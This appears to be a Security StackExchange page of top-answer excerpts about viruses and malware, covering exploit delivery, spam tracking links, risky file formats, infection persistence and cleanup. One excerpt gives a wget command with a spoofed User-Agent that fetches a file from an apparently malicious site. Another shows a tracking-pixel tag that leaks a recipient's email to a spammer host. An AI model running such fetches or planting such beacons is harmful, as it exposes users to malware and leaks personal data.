Hot answers tagged virus
51
Yes, that's possible.
The malware probably wouldn't be embedded in the video itself, but the video file would be specially crafted to exploit a vulnerability in the codec or media player, to gain code execution. The exploit would then download a file and run it, infecting the machine.
These types of exploits have been common amongst popular document ...
40
The common reasons for links in spam email are:
verification that your email address is valid and that it is read which makes the email address more valuable for address brokers (the link needs to have some individual part, that can be a number, but it can also just be unique word from the dictionary). This kind of link may be labeld "unsubscribe".
the ...
23
Sure. In Cohen's famous result, he says that a perfect virus detector should emit an alarm if and only if the input program can ever act like a virus (i.e., infect your machine and do damage).
Consider the following program:
f();
infect_and_do_damage();
where f() is some harmless function, and infect_and_do_damage() is a viral payload that infects your ...
21
Some formats can be called inherently insecure due to their complexity and their history of use as attack vectors. Adobe PDF and MS Office files come to mind. Any kind of binary executable is certainly problematic unless sandboxing is deployed.
But in general it depends on the application that is used to open the file, not the file itself. Even simple ...
20
Is there any documented malicious API calls somewhere.. I couldn't find one in paper.
No, because all API calls can be both valid and malicious, depending on context. In terms of analysing a piece of malware, this is something you normally do by hand.
A quick primer on Windows executables looks like this: All windows executables that make API calls ...
16
Firstly, there is no guarantee you'll even be able to run a VM inside a VM. It may seem obvious but it is by no means certain it will even work. This is because VM's may rely on virtualization features of your hardware which are not exposed inside the VM itself.
Secondly, why two, why not three, four, five, etc... There is such a thing as overkill security. ...
16
You can lookup vulnerabilities at http://cve.mitre.org/. "CVE is a dictionary of publicly known information security vulnerabilities and exposures."
A rough seearch of
Firefox, returns 888
Chrome, returns 729
Flash, returns 371
Further filtering of the severity of these would need to be done, but this gives an upper bound of found vulnerabilities.
...
16
The goal of most malware is to remain active as long as possible. The longer it can collect keystrokes, participate in DDoS attacks, redirect search results, send spam emails, shows popup ads, etc., the more profitable it is for the creator. To reach this goal, it has to be undetected.
If a piece of malware infects a machine twice, it may leave the machine ...
16
The website seem to be be only checking the User-Agent. I tried the following
wget --user-agent="Mozilla/5.0 (Windows NT 5.2; rv:2.0.1) Gecko/20100101 Firefox/4.0.1" "http://tfdesignsandpcrepair.com/dinwnle.php?get_info=ss00_323" -O file.zip
and it seems to be working
One possibility is that you might have tried so many times without a valid User-Agent ...
15
In theory, any format that requires complicated processing or allows embedding of other formats (especially Flash) can be dangerous. The most relevant issues right now are however:
Any Microsoft Office files (not so much because of Office vulnerabilities but because these files can embed Flash and exploit its vulnerabilities)
PDF files
Obviously, any files ...
15
It all depends on the person; but a good first step would be to change their default browser to Chrome or Firefox - install AdBlock Plus (http://adblockplus.org/, or similar) and Ghostery (http://www.ghostery.com/) in their browser, and a decent anti-virus (Microsoft Security Essentials (http://www.microsoft.com/mse) should be fine, and since it's free - you ...
14
Just to expand on one item in @Hendrik's list, the exploitation item:
It is much easier to write an exploit which requires a user to click on something than to fully automate the attack from a position of no contact. All that link has to point at is an exploit for a vulnerability that isn't patched on the user's machine and the results could include things ...
14
Various reasons:
Attacker is often not the Developer - Developers of malware sell the packages to anyone - the payload will be then defined by the attacker. Some attackers want to be stealthy - some don't, in fact some delight in being obvious and notorious.
Practice - developing techniques
Apathy/Ignorance - end users are really no good at fixing ...
14
The difference is mostly a matter of historical tradition.
Biologically, a virus is a piece of RNA. RNA is an intermediary vessel for genetic code, which temporarily duplicates a piece of the DNA (the permanent storage of genetic information in a cell). RNA then goes through some "engines" which can duplicate it and/or convert it into proteins (genetic code ...
13
Theoretically, no, an infected machine cannot be trusted anymore. In practice, wiping out the hard disk (or just removing it and inserting a new one) is often sufficient, although some virus have been known to reflash part of the BIOS, for pure wanton devastation, or to make the virus resistant to disk formatting. Some motherboards will not allow reflashing ...
12
Answer:
Yeah. It's possible. Re-install OSX and then change all her passwords. She got phished.
IT Services is correct here.
Prevention:
To prevent this from happening in the future make sure she understands the importance of updates, and how to spot and avoid phishing scams.
How it Happened:
A lot of attackers will use shortened URLs or legitimate ...
12
Copying software for malware analysis seems like a textbook case of fair use (under U.S. law, anyway). To take the fair use criteria one by one:
Purpose and character of use: The use of the copy is legally transformative, which means that it creates something new, instead of merely attempting to recreate the original. Here, the analysts are producing a ...
12
Detection for a piece of malware is never removed from a mainstream AV.
Detection for old or rare malware is not removed mainly because AV benchmarks and clients seeing one AV missing detection while the others have it.
Let's say a signature is added for "Malw" malware but then the persistent malware writer makes subtle changes to avoid that specific ...
11
When you plug a USB key in, a considerable amount of things happen. The OS first talks to the USB device to know what kind of device it is and what it can do. Then, if the device says that it is a kind of disk, the OS will look for a filesystem on it, then mount it, and explore some of the files. Depending on what files were found and their name, the OS will ...
11
Yes, this is one hundred percent possible:
Browsers are huge programs, containing script engines, markup parsers, rendering engines and even audio / video codecs. Any of these parts could have a vulnerability, which might be exploited.
Browers run JavaScript, which is a Turing-complete language, making it nearly impossible to analyse what it is doing ahead ...
10
I have a couple of questions here:
Are the files fine when in the lab?
And only become 'infected' when you
move them to your USB drive?
Are you certain the USB stick is clean?
Does the USB stick have software on it which is supposed to write files as exe's (some versions do this if encryption is enabled)
The reason I ask is that it could be an issue you ...
10
It's not called Flash Drive By, but Drive-By Download, and yes, it's basically downloading malware just by visiting an infected website. Usually drive-by downloads work by exploiting a browser vulnerability (or a vulnerability in plugin like Flash or Adobe Reader), which leads to remote code execution triggering the download of malware.
Unfortunately ...
10
You can use DLL Injection to inject code into other processes without affecting any other data
(depending on the method, of course).
Other ways include renaming and moving legitimate files and replacing them with infected versions, startup entries, etc., but those are easily removable manually.
The only way that I can think of to permanently infect ...
10
Process Explorer, part of the SysInternals suite, is indeed a Windows only tool. It is largely intended to replace the standard Windows task manager. As such it gives very detailed information about the running processes, and all the various and sundry statistics that one should expect. One line I heard used to describe it was, "Finally, an actual top for ...
10
There must be some security hole in the application.
Think like any very-simple-and-common .txt file: if you open it with an hex viewer, or with a well-designed textpad editor, it should only display the file content, and ok.
Then think about of processing the file, somehow, instead of just showing the contents. For example, reading the file and ...
10
The purpose of EICAR is to provide a cross vendor file that will be detected as a virus. Why? Well, imagine you are building a web application that allows user uploaded content, for example. Into this solution, because you are security-conscious, you might want to scan the uploaded files and remove those files that are malicious before you spread them to ...
10
Forgive me, but the #1 solution for a real-time dependent system is to not let undesignated junk run on it. Users shouldn't be browsing the Internet with an RTOS setup. That needs to stop yesterday.
At least in good theory, Deep Freeze type systems will protect your computer from any permanent modification. They intercept all write activity and remap it. ...
10
I'll give you a really simple example. A common spammer trick way back before clients were updated to counter this was to embed a 1px square GIF in an HTML email. You'd get a message like this:
<img src="http://nastyevilspammer.invalid/pic.gif?email=poorvictim@domain.com" />
Needless to say, that pic.gif is in fact a cgi script which takes a get ...
10
What you should do now is wipe your computer and start afresh. Treat it as a lesson learnt.
You ask whether malware can survive a professional system clean-up. The answer is yes. Once your computer has been compromised, you can no longer trust that it is safe. In fact, I wouldn't consider Microsoft tech support to do a professional system clean-up. Wipe it, ...
10
Step 1 - Nuke your USB drive. Format the thing.
Step 2 - Nuke all the computers that you have used the USB drive with in the period which you suspect the drive has been infected.
Step 3 - Change your passwords.
Step 4 - Submit the malware to something like VirusTotal. It will ensure that most of the major antivirus vendors pick up on it.
Step 5 - Harden ...
Only top voted, non community-wiki answers of a minimum length are eligible
